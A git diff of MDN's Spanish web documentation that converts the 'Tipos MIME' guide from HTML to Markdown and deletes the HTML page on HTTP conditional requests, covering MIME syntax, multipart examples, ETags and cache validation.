La estructura de un tipo MIME es muy simple; consiste en un tipo y un subtipo, dos cadenas, separadas por un '/'. No se permite espacio. El tipo representa la categoría y puede ser de tipo discreto o multiparte. El subtipo es específico para cada tipo.

- -

Un tipo MIME no distingue entre mayúsculas y minúsculas, pero tradicionalmente se escribe todo en minúsculas.

- -

Tipos discretos

- -
text/plain
-text/html
-image/jpeg
-image/png
-audio/mpeg
-audio/ogg
-audio/*
-video/mp4
-application/octet-stream
-…
- -

Los tipos discretos indican la categoría del documento, puede ser uno de los siguientes:

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
TipoDescripciónEjemplo de subtipos típicos
textRepresenta cualquier documento que contenga texto y es teóricamente legible por humanostext/plain, text/html, text/css, text/javascript
imageRepresenta cualquier tipo de imagen. Los videos no están incluidos, aunque las imágenes animadas (como el gif animado) se describen con un tipo de imagen.image/gif, image/png, image/jpeg, image/bmp, image/webp
audioRepresenta cualquier tipo de archivos de audioaudio/midi, audio/mpeg, audio/webm, audio/ogg, audio/wav
videoRepresenta cualquier tipo de archivos de videovideo/webm, video/ogg
applicationRepresenta cualquier tipo de datos binarios.application/octet-stream, application/pkcs12, application/vnd.mspowerpoint, application/xhtml+xml, application/xml, application/pdf
- -

Para documentos de texto sin subtipo específico, se debe usar text/plain. De forma similar, para los documentos binarios sin subtipo específico o conocido, se debe usar application/octet-stream.

- -

Tipos multiparte

- -
multipart/form-data
-multipart/byteranges
- -

Los tipos de partes múltiples indican una categoría de documento que está rota en distintas partes, a menudo con diferentes tipos de MIME. Es una forma de representar un documento compuesto. Con la excepción de multipart/form-data, que se utilizan en relación con formularios HTML y el método {{HTTPMethod("POST")}}, y multipart/byteranges, que se utilizan junto con el mensaje de estado de Contenido Parcial {{HTTPStatus("206")}} para enviar solo un subconjunto de un documento completo, HTTP no maneja documentos multiparte de una manera específica: el mensaje simplemente se transmite al navegador (que probablemente propondrá una ventana Guardar como, sin saber cómo mostrar el documento en línea.)

- -

Tipos MIME importantes para desarrolladores Web

- -

application/octet-stream

- -

Este es el valor predeterminado para un archivo binario. Como realmente significa un archivo binario desconocido, los navegadores generalmente no lo ejecutan automáticamente, o incluso preguntan si debería ejecutarse. Lo tratan como si el encabezado {{HTTPHeader("Content-Disposition")}} se configurara con el valor attachment y proponen un archivo 'Guardar como'.

- -

text/plain

- -

Este es el valor predeterminado para los archivos de texto. Incluso si realmente significa un archivo textual desconocido, los navegadores asumen que pueden mostrarlo.

- -
-

Tenga en cuenta que text/plain no significa cualquier tipo de datos textuales. Si esperan un tipo específico de datos textuales, probablemente no lo considerarán una coincidencia. Específicamente, si descargan un archivo de texto sin formato text/plain de un elemento {{HTMLElement("link")}} que declara archivos CSS, no lo reconocerán como un archivo CSS válido si se presenta con text/plain. Se debe usar el tipo MIME CSS text/css.

-
- -

text/css

- -

Todos los archivos CSS que deban interpretarse como tales en una página web deben ser de los archivos de text/css. A menudo, los servidores no reconocen los archivos con el sufijo .css como archivos CSS y los envían con tipo MIME text/plain o application/octet-stream: en estos casos, la mayoría de los navegadores no los reconocerán como archivos CSS y serán ignorado silenciosamente. Se debe prestar especial atención en servir los archivos CSS con el tipo correcto.

- -

text/html

- -

Todo el contenido HTML debe ser servido con este tipo. Los tipos MIME alternativos para XHTML, como application/xml+html, son en su mayoría inútiles hoy en día (HTML5 unificó estos formatos).

- -

Tipos de imágenes

- -

Solo un puñado de tipos de imágenes son ampliamente reconocidos y se consideran seguros para la Web, listos para usar en una página Web:

- - - - - - - - - - - - - - - - - - - - - - - - - - -
Tipo MIMETipo de imagen
image/gifImágenes GIF (compresión sin pérdida, reemplazada por PNG)
image/jpegImágenes JPEG
image/pngImágenes PNG
image/svg+xmlImágenes SVG (imágenes vectoriales)
- - - -

Existe una discusión para agregar WebP (image/webp) a esta lista, pero como cada tipo de imagen nuevo aumentará el tamaño de una base de código, esto puede presentar nuevos problemas de seguridad, por lo que los proveedores de navegadores son cautelosos al aceptarlo.

- -

Se pueden encontrar otros tipos de imágenes en documentos Web. Por ejemplo, muchos navegadores admiten tipos de imágenes de iconos para favicones o similares. En particular, las imágenes ICO son compatibles en este contexto con el tipo MIME image/x-icon.

- - - -

Tipos de audio y video

- -

Al igual que las imágenes, HTML no define un conjunto de tipos soportados para usar con los elementos {{HTMLElement("audio")}} y {{HTMLElement("video")}}, por lo que solo un grupo relativamente pequeño de ellos puede ser utilizado en la web. Los formatos de medios compatibles con los elementos de audio y video HTML explican tanto los códecs como los formatos de contenedor que se pueden usar.

- -

El tipo MIME de dichos archivos representa principalmente los formatos de contenedor y los más comunes en un contexto web son:

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Tipo MIMETipo de audio o video
audio/wave
- audio/wav
- audio/x-wav
- audio/x-pn-wav		Un archivo de audio en formato de contenedor WAVE. El códec de audio PCM (códec WAVE "1") a menudo es compatible, pero otros códecs tienen soporte más limitado (si lo hay).
audio/webmUn archivo de audio en formato de contenedor WebM. Vorbis y Opus son los códecs de audio más comunes.
video/webmUn archivo de video, posiblemente con audio, en el formato de contenedor de WebM. VP8 y VP9 son los códecs de video más comunes utilizados en él; Vorbis y Opus los códecs de audio más comunes.
audio/oggUn archivo de audio en el formato de contenedor OGG. Vorbis es el códec de audio más común utilizado en dicho contenedor.
video/oggUn archivo de video, posiblemente con audio, en el formato de contenedor OGG. Theora es el códec de video habitual utilizado en él; Vorbis es el códec de audio habitual.
application/oggUn archivo de audio o video usando el formato de contenedor OGG. Theora es el códec de video habitual utilizado en él; Vorbis es el códec de audio más común.
- -

multipart/form-data

- -

El tipo de datos multipart/form-data se puede usar al enviar el contenido de un formulario HTML completo desde el navegador al servidor. Como formato de documento multiparte, consta de diferentes partes, delimitadas por un límite (una cadena que comienza con un doble guión '--'). Cada parte es una entidad en sí misma, con sus propios encabezados HTTP, {{HTTPHeader("Content-Disposition")}} y {{HTTPHeader("Content-Type")}} para los campos de carga de archivos, y los más comunes ({{HTTPHeader("Content-Length")}} es ignorado ya que la línea límite se usa como delimitador).

- -
Content-Type: multipart/form-data; boundary=unaCadenaDelimitadora
-(otros encabezados asociados con el documento multiparte como un todo)
-
---unaCadenaDelimitadora
-Content-Disposition: form-data; name="miArchivo"; filename="img.jpg"
-Content-Type: image/jpeg
-
-(data)
---unaCadenaDelimitadora
-Content-Disposition: form-data; name="miCampo"
-
-(data)
---unaCadenaDelimitadora
-(más subpartes)
---unaCadenaDelimitadora--
-
-
- -

El siguiente formulario:

- -
<form action="http://localhost:8000/" method="post" enctype="multipart/form-data">
-  <input type="text" name="miCampoDeTexto">
-  <input type="checkbox" name="miCheckBox">Checado</input>
-  <input type="file" name="miArchivo">
-  <button>Enviar el archivo</button>
-</form>
- -

enviará este mensaje:

- -
POST / HTTP/1.1
-Host: localhost:8000
-User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:50.0) Gecko/20100101 Firefox/50.0
-Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
-Accept-Language: en-US,en;q=0.5
-Accept-Encoding: gzip, deflate
-Connection: keep-alive
-Upgrade-Insecure-Requests: 1
-Content-Type: multipart/form-data; boundary=---------------------------8721656041911415653955004498
-Content-Length: 465
-
------------------------------8721656041911415653955004498
-Content-Disposition: form-data; name="miCampoDeTexto"
-
-Test
------------------------------8721656041911415653955004498
-Content-Disposition: form-data; name="miCheckBox"
-
-on
------------------------------8721656041911415653955004498
-Content-Disposition: form-data; name="miArchivo"; filename="prueba.txt"
-Content-Type: text/plain
-
-Simple file.
------------------------------8721656041911415653955004498--
-
-
- -

multipart/byteranges

- -

El tipo MIME multipart/byteranges se usa en el contexto del envío de respuestas parciales al navegador. Cuando se envía el código de estado de Contenido Parcial {{HTTPStatus("206")}}, este tipo MIME se usa para indicar que el documento está compuesto de varias partes, una para cada rango solicitado. Al igual que otros tipos de varias partes, {{HTTPHeader("Content-Type")}} usa la directiva boundary para definir la cadena delimitadora. Cada una de las diferentes partes tiene un encabezado {{HTTPHeader("Content-Type")}} con el tipo real del documento y un {{HTTPHeader("Content-Range")}} con el rango que representan.

- -
HTTP/1.1 206 Partial Content
-Accept-Ranges: bytes
-Content-Type: multipart/byteranges; boundary=3d6b6a416f9b5
-Content-Length: 385
-
---3d6b6a416f9b5
-Content-Type: text/html
-Content-Range: bytes 100-200/1270
-
-eta http-equiv="Content-type" content="text/html; charset=utf-8" />
-    <meta name="vieport" content
---3d6b6a416f9b5
-Content-Type: text/html
-Content-Range: bytes 300-400/1270
-
--color: #f0f0f2;
-        margin: 0;
-        padding: 0;
-        font-family: "Open Sans", "Helvetica
---3d6b6a416f9b5--
- -

Importancia de establecer el tipo MIME correcto

- -

La mayoría de los servidores web envían recursos de tipo desconocido utilizando el tipo MIME predeterminado application/octet-stream. Por razones de seguridad, la mayoría de los navegadores no permiten establecer una acción predeterminada personalizada para dichos recursos, lo que obliga al usuario a almacenarlo en el disco para usarlo. Algunas configuraciones de servidor incorrectas que se ven con frecuencia ocurren con los siguientes tipos de archivos:

- -
    -
  • -

    Archivos con codificación RAR. En este caso, lo ideal sería establecer el tipo verdadero de los archivos codificados; esto a menudo no es posible (ya que puede no ser conocido por el servidor y estos archivos pueden contener varios recursos de diferentes tipos). En este caso, al configurar el servidor para que envíe el tipo MIME application/x-rar-compressed, los usuarios no habrán definido una acción predeterminada útil para ellos.

    -
    • -
  • -

    Archivos de audio y video. Solo los recursos con el tipo MIME correcto serán reconocidos y reproducidos en elementos {{ HTMLElement("video") }} o {{ HTMLElement("audio") }}. Asegúrese de usar el tipo correcto para audio y video.

    -
    • -
  • -

    Tipos de archivos propietarios. Preste especial atención al servir un tipo de archivo propietario. Evite el uso de application/octet-stream ya que no será posible un manejo especial: la mayoría de los navegadores no permiten definir un comportamiento predeterminado (como "Abrir en Word") para este tipo genérico MIME.

    -
    • -
- -

Olfateo MIME (sniffing)

- -

En ausencia de un tipo MIME, o en algunos otros casos en los que un cliente cree que están configurados incorrectamente, los navegadores pueden realizar el rastreo MIME, que es adivinar el tipo MIME correcto mirando el recurso. Cada navegador realiza esto de manera diferente y bajo diferentes circunstancias. Hay algunas preocupaciones de seguridad con esta práctica, ya que algunos tipos MIME representan el contenido ejecutable y otros no. Los servidores pueden bloquear el rastreo de MIME enviando el {{HTTPHeader("X-Content-Type-Options")}} a lo largo de {{HTTPHeader("Content-Type")}}.

- -

Otros métodos de transporte de tipo de documento

- -

Los tipos MIME no son la única forma de transmitir la información del tipo de documento:

- -
    -
  • Los sufijos de nombre a veces se usan, especialmente en los sistemas de Microsoft Windows. No todos los sistemas operativos consideran significativos estos sufijos (especialmente Linux y Mac OS), y al igual que un tipo MIME externo, no hay garantía de que sean correctos.
    • -
  • Números mágicos. La sintaxis de los diferentes tipos de archivos permite la inferencia del tipo de archivo al observar la estructura. P.ej. cada archivo GIF comienza con el valor hexadecimal 47 49 46 38 39 [GIF89] o archivos PNG con 89 50 4E 47 [.PNG]. No todos los tipos de archivos tienen números mágicos, por lo que este tampoco es un sistema 100% confiable.
    • -
- - - -

Ver también

- - diff --git a/files/es/web/http/basics_of_http/mime_types/index.md b/files/es/web/http/basics_of_http/mime_types/index.md new file mode 100644 index 00000000000000..2bfbd964a1771a --- /dev/null +++ b/files/es/web/http/basics_of_http/mime_types/index.md @@ -0,0 +1,219 @@ +--- +title: Tipos MIME +slug: Web/HTTP/Basics_of_HTTP/MIME_types +tags: + - Cabecera de solicitud + - Guide + - HTTP + - Meta + - Tipos MIME + - Tipos de contenido + - application/json +translation_of: Web/HTTP/Basics_of_HTTP/MIME_types +--- +{{HTTPSidebar}} + +El **tipo Extensiones multipropósito de Correo de Internet (MIME)** es una forma estandarizada de indicar la naturaleza y el formato de un documento, archivo o conjunto de datos. Está definido y estandarizado en [IETF RFC 6838](https://tools.ietf.org/html/rfc6838). La [Autoridad de Números Asignados de Internet (IANA)](https://www.iana.org/) es el organismo oficial responsable de realizar un seguimiento de todos los tipos MIME oficiales, y puede encontrar la lista más actualizada y completa en la página de [tipos de medios (Media Types)](https://www.iana.org/assignments/media-types/media-types.xhtml). + +Los navegadores a menudo usan el tipo MIME (y no la extensión de archivo) para determinar cómo procesará un documento; por lo tanto, es importante que los servidores estén configurados correctamente para adjuntar el tipo MIME correcto al encabezado del objeto de respuesta. + +## Sintaxis + +### Estructura general + + tipo/subtipo + +La estructura de un tipo MIME es muy simple; consiste en un tipo y un subtipo, dos cadenas, separadas por un `'/'`. No se permite espacio. El _tipo_ representa la categoría y puede ser de tipo _discreto_ o _multiparte_. El _subtipo_ es específico para cada tipo. + +Un tipo MIME no distingue entre mayúsculas y minúsculas, pero tradicionalmente se escribe todo en minúsculas. + +### Tipos discretos + + text/plain + text/html + image/jpeg + image/png + audio/mpeg + audio/ogg + audio/* + video/mp4 + application/octet-stream + … + +Los tipos _discretos_ indican la categoría del documento, puede ser uno de los siguientes: + +| Tipo | Descripción | Ejemplo de subtipos típicos | +| ------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------- | +| `text` | Representa cualquier documento que contenga texto y es teóricamente legible por humanos | `text/plain`, `text/html`, `text/css, text/javascript` | +| `image` | Representa cualquier tipo de imagen. Los videos no están incluidos, aunque las imágenes animadas (como el gif animado) se describen con un tipo de imagen. | `image/gif`, `image/png`, `image/jpeg`, `image/bmp`, `image/webp` | +| `audio` | Representa cualquier tipo de archivos de audio | `audio/midi`, `audio/mpeg, audio/webm, audio/ogg, audio/wav` | +| `video` | Representa cualquier tipo de archivos de video | `video/webm`, `video/ogg` | +| `application` | Representa cualquier tipo de datos binarios. | `application/octet-stream`, `application/pkcs12`, `application/vnd.mspowerpoint`, `application/xhtml+xml`, `application/xml`, `application/pdf` | + +Para documentos de texto sin subtipo específico, se debe usar `text/plain`. De forma similar, para los documentos binarios sin subtipo específico o conocido, se debe usar `application/octet-stream`. + +### Tipos multiparte + + multipart/form-data + multipart/byteranges + +Los tipos de _partes múltiples_ indican una categoría de documento que está rota en distintas partes, a menudo con diferentes tipos de MIME. Es una forma de representar un documento compuesto. Con la excepción de `multipart/form-data`, que se utilizan en relación con [formularios HTML](/es/docs/Web/Guide/HTML/Forms) y el método {{HTTPMethod("POST")}}, y `multipart/byteranges`, que se utilizan junto con el mensaje de estado de `Contenido Parcial` {{HTTPStatus("206")}} para enviar solo un subconjunto de un documento completo, HTTP no maneja documentos multiparte de una manera específica: el mensaje simplemente se transmite al navegador (que probablemente propondrá una ventana Guardar como, sin saber cómo mostrar el documento en línea.) + +## Tipos MIME importantes para desarrolladores Web + +### `application/octet-stream` + +Este es el valor predeterminado para un archivo binario. Como realmente significa un _archivo binario desconocido_, los navegadores generalmente no lo ejecutan automáticamente, o incluso preguntan si debería ejecutarse. Lo tratan como si el encabezado {{HTTPHeader("Content-Disposition")}} se configurara con el valor `attachment` y proponen un archivo 'Guardar como'. + +### `text/plain` + +Este es el valor predeterminado para los archivos de texto. Incluso si realmente significa un archivo textual desconocido, los navegadores asumen que pueden mostrarlo. + +> **Nota:** Tenga en cuenta que `text/plain` no significa _cualquier tipo de datos textuales_. Si esperan un tipo específico de datos textuales, probablemente no lo considerarán una coincidencia. Específicamente, si descargan un archivo de texto sin formato `text/plain` de un elemento {{HTMLElement("link")}} que declara archivos CSS, no lo reconocerán como un archivo CSS válido si se presenta con `text/plain`. Se debe usar el tipo MIME CSS `text/css`. + +### `text/css` + +Todos los archivos CSS que deban interpretarse como tales en una página web **deben** ser de los archivos de `text/css`. A menudo, los servidores no reconocen los archivos con el sufijo `.css` como archivos CSS y los envían con tipo MIME `text/plain` o `application/octet-stream`: en estos casos, la mayoría de los navegadores no los reconocerán como archivos CSS y serán ignorado silenciosamente. Se debe prestar especial atención en servir los archivos CSS con el tipo correcto. + +### `text/html` + +Todo el contenido HTML debe ser servido con este tipo. Los tipos MIME alternativos para XHTML, como `application/xml+html`, son en su mayoría inútiles hoy en día (HTML5 unificó estos formatos). + +### Tipos de imágenes + +Solo un puñado de tipos de imágenes son ampliamente reconocidos y se consideran seguros para la Web, listos para usar en una página Web: + +| Tipo MIME | Tipo de imagen | +| --------------- | ---------------------------------------------------------- | +| `image/gif` | Imágenes GIF (compresión sin pérdida, reemplazada por PNG) | +| `image/jpeg` | Imágenes JPEG | +| `image/png` | Imágenes PNG | +| `image/svg+xml` | Imágenes SVG (imágenes vectoriales) | + +Existe una discusión para agregar WebP (`image/webp`) a esta lista, pero como cada tipo de imagen nuevo aumentará el tamaño de una base de código, esto puede presentar nuevos problemas de seguridad, por lo que los proveedores de navegadores son cautelosos al aceptarlo. + +Se pueden encontrar otros tipos de imágenes en documentos Web. Por ejemplo, muchos navegadores admiten tipos de imágenes de iconos para favicones o similares. En particular, las imágenes ICO son compatibles en este contexto con el tipo MIME `image/x-icon`. + +### Tipos de audio y video + +Al igual que las imágenes, HTML no define un conjunto de tipos soportados para usar con los elementos {{HTMLElement("audio")}} y {{HTMLElement("video")}}, por lo que solo un grupo relativamente pequeño de ellos puede ser utilizado en la web. Los [formatos de medios compatibles con los elementos de audio y video HTML](/es/docs/Web/HTML/Supported_media_formats) explican tanto los códecs como los formatos de contenedor que se pueden usar. + +El tipo MIME de dichos archivos representa principalmente los formatos de contenedor y los más comunes en un contexto web son: + +| Tipo MIME | Tipo de audio o video | +| ------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | +| `audio/wave` `audio/wav` `audio/x-wav` `audio/x-pn-wav` | Un archivo de audio en formato de contenedor WAVE. El códec de audio PCM (códec WAVE "1") a menudo es compatible, pero otros códecs tienen soporte más limitado (si lo hay). | +| `audio/webm` | Un archivo de audio en formato de contenedor WebM. Vorbis y Opus son los códecs de audio más comunes. | +| `video/webm` | Un archivo de video, posiblemente con audio, en el formato de contenedor de WebM. VP8 y VP9 son los códecs de video más comunes utilizados en él; Vorbis y Opus los códecs de audio más comunes. | +| `audio/ogg` | Un archivo de audio en el formato de contenedor OGG. Vorbis es el códec de audio más común utilizado en dicho contenedor. | +| `video/ogg` | Un archivo de video, posiblemente con audio, en el formato de contenedor OGG. Theora es el códec de video habitual utilizado en él; Vorbis es el códec de audio habitual. | +| `application/ogg` | Un archivo de audio o video usando el formato de contenedor OGG. Theora es el códec de video habitual utilizado en él; Vorbis es el códec de audio más común. | + +### `multipart/form-data` + +El tipo de datos `multipart/form-data` se puede usar al enviar el contenido de un [formulario HTML](/es/docs/Web/Guide/HTML/Forms) completo desde el navegador al servidor. Como formato de documento multiparte, consta de diferentes partes, delimitadas por un límite (una cadena que comienza con un doble guión `'--'`). Cada parte es una entidad en sí misma, con sus propios encabezados HTTP, {{HTTPHeader("Content-Disposition")}} y {{HTTPHeader("Content-Type")}} para los campos de carga de archivos, y los más comunes ({{HTTPHeader("Content-Length")}} es ignorado ya que la línea límite se usa como delimitador). + + Content-Type: multipart/form-data; boundary=unaCadenaDelimitadora + (otros encabezados asociados con el documento multiparte como un todo) + + --unaCadenaDelimitadora + Content-Disposition: form-data; name="miArchivo"; filename="img.jpg" + Content-Type: image/jpeg + + (data) + --unaCadenaDelimitadora + Content-Disposition: form-data; name="miCampo" + + (data) + --unaCadenaDelimitadora + (más subpartes) + --unaCadenaDelimitadora-- + +El siguiente formulario: + +```html +
+ + Checado + + +
+``` + +enviará este mensaje: + + POST / HTTP/1.1 + Host: localhost:8000 + User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:50.0) Gecko/20100101 Firefox/50.0 + Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 + Accept-Language: en-US,en;q=0.5 + Accept-Encoding: gzip, deflate + Connection: keep-alive + Upgrade-Insecure-Requests: 1 + Content-Type: multipart/form-data; boundary=---------------------------8721656041911415653955004498 + Content-Length: 465 + + -----------------------------8721656041911415653955004498 + Content-Disposition: form-data; name="miCampoDeTexto" + + Test + -----------------------------8721656041911415653955004498 + Content-Disposition: form-data; name="miCheckBox" + + on + -----------------------------8721656041911415653955004498 + Content-Disposition: form-data; name="miArchivo"; filename="prueba.txt" + Content-Type: text/plain + + Simple file. + -----------------------------8721656041911415653955004498-- + +### `multipart/byteranges` + +El tipo MIME `multipart/byteranges` se usa en el contexto del envío de respuestas parciales al navegador. Cuando se envía el código de estado de `Contenido Parcial` {{HTTPStatus("206")}}, este tipo MIME se usa para indicar que el documento está compuesto de varias partes, una para cada rango solicitado. Al igual que otros tipos de varias partes, {{HTTPHeader("Content-Type")}} usa la directiva `boundary` para definir la cadena delimitadora. Cada una de las diferentes partes tiene un encabezado {{HTTPHeader("Content-Type")}} con el tipo real del documento y un {{HTTPHeader("Content-Range")}} con el rango que representan. + + HTTP/1.1 206 Partial Content + Accept-Ranges: bytes + Content-Type: multipart/byteranges; boundary=3d6b6a416f9b5 + Content-Length: 385 + + --3d6b6a416f9b5 + Content-Type: text/html + Content-Range: bytes 100-200/1270 + + eta http-equiv="Content-type" content="text/html; charset=utf-8" /> + diff --git a/files/es/web/http/conditional_requests/index.html b/files/es/web/http/conditional_requests/index.html deleted file mode 100644 index a9e9b20038479a..00000000000000 --- a/files/es/web/http/conditional_requests/index.html +++ /dev/null @@ -1,149 +0,0 @@ ---- -title: Peticiones condicionales en HTTP -slug: Web/HTTP/Conditional_requests -tags: - - Guía - - HTTP - - Peticiones condicionales -translation_of: Web/HTTP/Conditional_requests -original_slug: Web/HTTP/Peticiones_condicionales ---- -

{{HTTPSidebar}}

- -

HTTP tiene un concepto de peticiones condicionales, donde el resultado, e incluso el éxito de una petición, se puede cambiar comparando los recursos afectados con el valor de un validador. Dichas peticiones pueden ser útiles para validar el contenido de un caché, y evitar un control inútil, para verificar la integridad de un documento, como al reanudar una descarga, o al evitar perder actualizaciones al cargar o modificar un documento en el servidor.

- -

Principios

- -

Las peticiones condicionales HTTP son peticiones que se ejecutan de manera diferente, dependiendo del valor de encabezados específicos. Estos encabezados definen una condición previa, y el resultado de la petición será diferente si la condición previa coincide o no.

- -

Los diferentes comportamientos están definidos por el método de petición utilizado y por el conjunto de encabezados utilizados para una condición previa:

- -
    -
  • para métodos seguros, como {{HTTPMethod("GET")}}, que generalmente intenta recuperar un documento, la petición condicional se puede usar para devolver el documento, solo si es relevante. Por lo tanto, esto ahorra ancho de banda.
    • -
  • para métodos no seguros, como {{HTTPMethod("PUT")}}, que generalmente carga un documento, la petición condicional se puede usar para cargar el documento, solo si el original en el que se basa es el mismo que el almacenado en el servidor.
    • -
- -

Validadores

- -

Todos los encabezados condicionales intentan verificar si el recurso almacenado en el servidor coincide con una versión específica. Para lograr esto, las peticiones condicionales deben indicar la versión del recurso. Como la comparación de todo el recurso byte a byte es impracticable, y no siempre lo que se desea, la petición transmite un valor que describe la versión. Tales valores se llaman validadores y son de dos tipos:

- -
    -
  • la fecha de la última modificación del documento, la fecha last-modified.
    • -
  • una cadena opaca, que identifica de forma única cada versión, llamada etiqueta de entidad, o etag.
    • -
- -

Comparar versiones del mismo recurso es un poco complicado: según el contexto, hay dos tipos de controles de igualdad:

- -
    -
  • Validación fuerte, se utiliza cuando se espera una igualdad byte a byte, por ejemplo, al reanudar una descarga.
    • -
  • Validación débil, se utiliza cuando el agente de usuario solo necesita determinar si los dos recursos tienen el mismo contenido. Incluso si son pequeñas diferencias, como diferentes anuncios, o un pie de página con una fecha diferente.
    • -
- -

El tipo de validación es independiente del validador utilizado. Ambos {{HTTPHeader("Last-Modified")}} y {{HTTPHeader("ETag")}} permiten ambos tipos de validación, aunque la complejidad para implementarlo en el lado del servidor puede variar. HTTP utiliza la validación fuerte de forma predeterminada, y especifica cuándo se puede usar una validación débil.

- -

Validación fuerte

- -

La validación sólida consiste en garantizar que el recurso es, byte a byte, idéntico al que se compara. Esto es obligatorio para algunos encabezados condicionales, y el predeterminado para los demás. La validación sólida es muy estricta y puede ser difícil garantizarla a nivel del servidor, pero garantiza que no se pierdan datos en ningún momento, a veces a expensas del rendimiento.

- -

Es bastante difícil tener un identificador único para una validación fuerte con {{HTTPHeader("Last-Modified")}}. A menudo, esto se hace usando una {{HTTPHeader("ETag")}} con el hash MD5 del recurso (o un derivado).

- -

Validación débil

- -

La validación débil difiere de la validación fuerte, ya que considera dos versiones del documento como idénticas si el contenido es equivalente. Por ejemplo, una página que diferiría de otra solo por una fecha diferente en su pie de página, o una publicidad diferente, se consideraría idéntica a la otra con validación débil. Estas dos versiones iguales se consideran diferentes cuando se usa una validación fuerte. Construir un sistema de etags que cree una validación débil puede ser complejo, ya que implica conocer la importancia de los diferentes elementos de una página, pero es muy útil para optimizar el rendimiento del caché.

- -

Encabezados condicionales

- -

Varios encabezados HTTP, llamados encabezados condicionales, conducen a peticiones condicionales. Estos son:

- -
-
{{HTTPHeader("If-Match")}}
-
Tiene éxito si la {{HTTPHeader("ETag")}} del recurso remoto es igual a una que se encuentra en este encabezado. Por defecto, a menos que el etag tenga el prefijo 'W/', realiza una validación fuerte.
-
{{HTTPHeader("If-None-Match")}}
-
Tiene éxito si la {{HTTPHeader("ETag")}} del recurso remoto es diferente a cada una de las enumeradas en este encabezado. Por defecto, a menos que el etag tenga el prefijo 'W/', realiza una validación fuerte.
-
{{HTTPHeader("If-Modified-Since")}}
-
Tiene éxito si la fecha {{HTTPHeader("Last-Modified")}} del recurso remoto es más reciente que la dada en este encabezado.
-
{{HTTPHeader("If-Unmodified-Since")}}
-
Tiene éxito si la fecha {{HTTPHeader("Last-Modified")}} del recurso remoto es más antigua que la dada en este encabezado.
-
{{HTTPHeader("If-Range")}}
-
Similar a {{HTTPHeader("If-Match")}}, o {{HTTPHeader("If-Unmodified-Since")}}, pero sólo puede tener una etag, o una fecha. Si falla, la petición de rango falla, y en lugar de una respuesta {{HTTPStatus("206")}} Partial Content , se envía un {{HTTPStatus("200")}} OK con el recurso completo.
-
- -

Casos de uso

- -

Actualización de caché

- -

El caso de uso más común para las peticiones condicionales es la actualización de un caché. Con un caché vacío, o sin un caché, el recurso solicitado se devuelve con un estado {{HTTPStatus("200")}} OK.

- -

The request issued when the cache is empty triggers the resource to be downloaded, with both validator value sent as headers. The cache is then filled.

- -

Junto con el recurso, los validadores se envían en los encabezados. En este ejemplo, ambos {{HTTPHeader("Last-Modified")}} y {{HTTPHeader("ETag")}} son enviados, pero igualmente podría haber sido solo uno de ellos. Estos validadores se almacenan en caché con el recurso (como todos los encabezados) y se utilizarán para elaborar peticiones condicionales, una vez que el caché se vuelva obsoleto.

- -

Mientras la memoria caché no esté obsoleta, no se emitirá ninguna petición. Pero una vez se haya vuelto obsoleta, esto se controla principalmente por el encabezado {{HTTPHeader("Cache-Control")}}, el cliente no usa el valor en caché directamente, pero emite una petición condicional. El valor del validador se utiliza como parámetro de los encabezados {{HTTPHeader("If-Modified-Since")}} y {{HTTPHeader("If-Match")}}.

- -

Si el recurso no ha cambiado, el servidor envía una respuesta {{HTTPStatus("304")}} Not Modified. Esto hace que la caché se actualice nuevamente, y el cliente usa el recurso almacenado en caché. Aunque hay una respuesta/petición de ida y vuelta que consume algunos recursos, esto es más eficiente que transmitir de nuevo todo el recurso a través del cable.

- -

With a stale cache, the conditional request is sent. The server can determine if the resource changed, and, as in this case, decide not to send it again as it is the same.

- -

Si el recurso ha cambiado, el servidor simplemente envía una respuesta {{HTTPStatus("200")}} OK, con la nueva versión del recurso, como si la petición no fuera condicional y el cliente usara este nuevo recurso (y lo almacena en caché).

- -

In the case where the resource was changed, it is sent back as if the request wasn't conditional.

- -

Además de la configuración de los validadores en el lado del servidor, este mecanismo es transparente: todos los navegadores administran una memoria caché y envían dichas peticiones condicionales sin que los desarrolladores web realicen ningún trabajo especial.

- -

Integridad de una descarga parcial

- -

La descarga parcial de archivos es una funcionalidad de HTTP que permite reanudar operaciones previas, ahorrando tiempo y ancho de banda, manteniendo la información ya obtenida:

- -

A download has been stopped and only partial content has been retrieved.

- -

Un servidor que admite descargas parciales transmite esto enviando el encabezado {{HTTPHeader("Accept-Ranges")}}. Una vez que esto sucede, el cliente puede reanudar una descarga enviando un encabezado {{HTTPHeader("Ranges")}} con los rangos ausentes:

- -

The client resumes the requests by indicating the range he needs and preconditions checking the validators of the partially obtained request.

- -

El principio es simple, pero hay un problema potencial: si el recurso descargado se modificó entre ambas descargas, los rangos obtenidos corresponderán a dos versiones diferentes del recurso y el documento final estará corrupto.

- -

Para evitar esto, se utilizan peticiones condicionales. Para los rangos, hay dos formas de hacer esto. El más flexible hace uso de {{HTTPHeader("If-Modified-Since")}} y {{HTTPHeader("If-Match")}} y el servidor devuelve un error si la precondición falla, entonces el cliente reinicia la descarga desde el principio:

- -

When the partially downloaded resource has been modified, the preconditions will fail and the resource will have to be downloaded again completely.

- -

Incluso si este método funciona, agrega un intercambio adicional de respuesta / petición cuando el documento ha sido cambiado. Esto altera el rendimiento, y HTTP tiene un encabezado específico para evitar este escenario: {{HTTPHeader("If-Range")}}:

- -

The If-Range headers allows the server to directly send back the complete resource if it has been modified, no need to send a 412 error and wait for the client to re-initiate the download.

- -

Esta solución es más eficiente, pero ligeramente menos flexible, ya que solo se puede usar una etag en la condición. Rara vez se necesita flexibilidad adicional.

- -

Evitar el problema de actualización perdida con bloqueo optimista

- -

Una operación común en aplicaciones web es actualizar un documento remoto. Esto es muy común en cualquier sistema de archivos o aplicaciones de control de origen, pero cualquier aplicación que permita almacenar recursos remotos necesita tal mecanismo. Los sitios web comunes, como los wikis y otros CMS, tienen tal necesidad.

- -

Con el método {{HTTPMethod("PUT")}} eres capaz de implementarlo. El cliente primero lee los archivos originales, los modifica y finalmente los envía al servidor:

- -

Updating a file with a PUT is very simple when concurrency is not involved.

- -

